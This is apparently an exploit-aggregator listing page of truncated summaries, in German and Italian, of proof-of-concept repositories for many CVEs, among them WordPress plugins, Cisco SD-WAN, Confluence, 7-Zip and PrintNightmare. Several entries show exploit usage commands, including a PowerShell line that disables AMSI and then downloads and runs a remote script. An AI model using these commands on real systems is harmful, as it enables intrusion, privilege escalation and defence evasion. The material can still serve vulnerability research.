CVE-2025-2539

CVE-2025-2539 - WordPress File Away = 3.9.9.0.1 - Beliebiges Dateilesen 🔥 Schwachstellenübersicht Das WordPress-Plugin File Away in Version = 3.9.9.0.1 ist anfällig für eine unauthentifizierte Schwachstelle zum beliebigen Lesen von Dateien. Dies ermöglicht es Angreifern, über eine manipulierte...

CVE-2020-2038

CVE-2020-2038 Exploit, um die Schwachstelle CVE-2020-2038 auszunutzen. Laut Palo Alto Networks: Eine OS Command Injection Schwachstelle in der PAN-OS-Verwaltungsschnittstelle, die es authentifizierten Administratoren ermöglicht, beliebige OS-Befehle mit Root-Rechten auszuführen. Dieses Problem...

CVE-2026-23550

root@kitploit: ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ███████╗ ███████╗ ██████╗ ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ╚════██╗╚════██╗██╔════╝ ██╔════╝██╔═████╗ ██║ ██║ ██║█████╗ █████╔╝██║██╔██║ █████╔╝███████╗ █████╔╝ █████╔╝███████╗...

CVE-2021-24762

Übersicht Dieses Repository dokumentiert die Erkennung von CVE-2021-24762, einer Schwachstelle, die bei einem HTTP-Scan auf einer WordPress-Instanz identifiziert wurde. Die Schwachstelle wurde am WordPress AJAX-Endpunkt entdeckt: /wp-admin/admin-ajax.php Dieser Endpunkt wird häufig von...

CVE-2026-20127---Cisco-SD-WAN-Preauth-RCE

CVE-2026-20127---Cisco-SD-WAN-Preauth-RCE Cisco SD-WAN Zero-Day CVE-2026-20127 wird seit 2023 für den Admin-Zugriff ausgenutzt. Dieses Repository enthält einen funktionierenden Proof-of-Concept-Exploit für CVE-2026-20127, eine kritische Pre-Authentifizierungs-Schwachstelle im Cisco Catalyst SD-WA...

CVE-2020-25078

CVE-2020-25078 Istruzioni instructions Metti l'URL di attacco nella stessa directory di ip.txt The attack IP is placed in the same directory as ip.txt Terminal log root@localhost:/CVE-2020-25078ls CVE-2020-25078.py ip.txt root@localhost:/CVE-2020-25078cat ./ip.txt https://xxx.xxx.xxx.xxx:3128...

CVE-2023-22515

CVE-2023-22515 Informazioni principali su CVE-2023-22515 Prodotti interessati: Atlassian Confluence Data Center & Confluence Server. Data di pubblicazione: 04/10/2023. Severità: Critical CVSS 10.0. Tipo di vulnerabilità: Broken Access Control / Improper Authorization → consente a un attaccante di...

CVE-2020-29607-Pluck-CMS-4.7.13-Authenticated-File-Upload-RCE-PoC

CVE-2020-29607 — Pluck CMS Esecuzione remota di codice autenticata in Pluck CMS precedente alla versione 4.7.13. Il file manager dell'amministratore admin.php?action=files non convalida le estensioni dei file, consentendo il caricamento di file .phar che Apache esegue come PHP. Il caricamento di...

CVE-2022-32199

CVE-2022-32199 ScriptCase python CVE-2022-32199.py -t 127.0.0.1 -u admin -p admin -path windows/win.ini Esempio di eliminazione di un file nella directory root...

CVE-2024-10924-PoC

PoC Bypass dell'autenticazione MFA del plugin WordPress Really Simple Security | CVE-2024-10924 Accediamo alla pagina web di WordPress e vediamo che ha l'MFA attivato tramite il plugin vulnerabile: Dobbiamo eseguire la PoC e fornire le credenziali di accesso: In modo automatico, il browser si...

7zip-CVE-2025-11001

Utilizzo: root@kitploit: python3 exploit.py -t "C:\Users\pac\Desktop" -o demo.zip --data-file calc.exe Sfruttare 7-Zip La vulnerabilità è sfruttabile solo su Windows e presenta un importante limite. Il bug può essere sfruttato solo quando 7-Zip viene eseguito con privilegi di amministratore...

CVE-2024-49328-exploit

CVE-2024-49328-exploit 🌟 Descrizione: Questo script sfrutta una vulnerabilità di escalation dei privilegi nel plugin WP REST API FNS per WordPress. La vulnerabilità interessa tutte le versioni fino alla 1.0.0 inclusa, consentendo a utenti non autenticati di ottenere privilegi di amministratore. ⚙️...

CVE-2022-21661

CVE-2022-21661 CVE-2022-21661 Docker und PoC functions.php muss die functions.php im ursprünglichen Image ersetzen. In docker-compose.yml wird es direkt eingebunden. PoC root@kitploit: POST /wp-admin/admin-ajax.php HTTP/1.1 Host: your-ip:8080 User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64;...

cve-2021-1675

cve-2021-1675 disabilita amsi: copia in powershell https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/disable-amsi.txt esegui invoke-script iex New-Object Net.WebClient.DownloadString'https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/Invoke-Nightmare.ps1' crea account...

Belsen_Group-et-exploitation-de-la-CVE-2022-40684

BelsenGroup e sfruttamento della CVE-2022-40684 Contesto Il 29 gennaio 2025, un utente del forum cybercriminale BelsenGroup ha pubblicato un messaggio affermando di possedere 15.000 dispositivi Fortinet compromessi, con file di configurazione e password VPN. Ora propone in vendita 1.000 target...

noPac

Über NoPac-Exploit, der einige alte Schwachstellen CVE-2021-42278 und CVE-2021-42287 ausnutzt, um sich von einem Standardbenutzer als Domänenadministrator auszugeben. Keine lästigen Abhängigkeiten mehr, nur eine einzelne Binärdatei – heilige Scheiße, ich liebe Go, Python könnte das NIEMALS. Das...

CVE-2021-44228

CVE-2021-44228 Utilizza la libreria Log4j 2.14 Vulnerabile in User-Agent, metodo POST e endpoint /admin/cores?foo= L'ho caricato su Docker Hub: puoi eseguire il pull ed eseguirlo https://hub.docker.com/repository/docker/iamnewbie/log4j-vuln...

CVE-2025-29018

CVE-2025-29018 - Internet Banking System 2.0.0 Stored XSS in pagesaddacctype.php Beschreibung Eine Stored Cross-Site Scripting XSS -Sicherheitslücke besteht im Code Astro Internet Banking System 2.0.0 aufgrund unsanitisierter Eingabe im name-Parameter in pagesaddacctype.php. Angreifer können...

CVE-2025-31161

CVE-2025-31161 Scritto un exploit in Go per CVE-2025-31161 che colpisce crushFTP. Utilizzo root@kitploit: ./exploit -target http://localhost:8085 -user crushadmin -action create-admin -new-admin-user username -new-admin-pass pass...

CVE-2025-50363_BXSS_CVE

Nome del progetto e URL del repository: Maid Hiring Management System using PHP and MySQL Tipo di vulnerabilità: Escalation dei privilegi tramite Blind XSS Versionei interessatae: v1.0 💣Descrizione della vulnerabilità: È stata scoperta una vulnerabilità di Blind Cross-Site Scripting XSS nel Maid...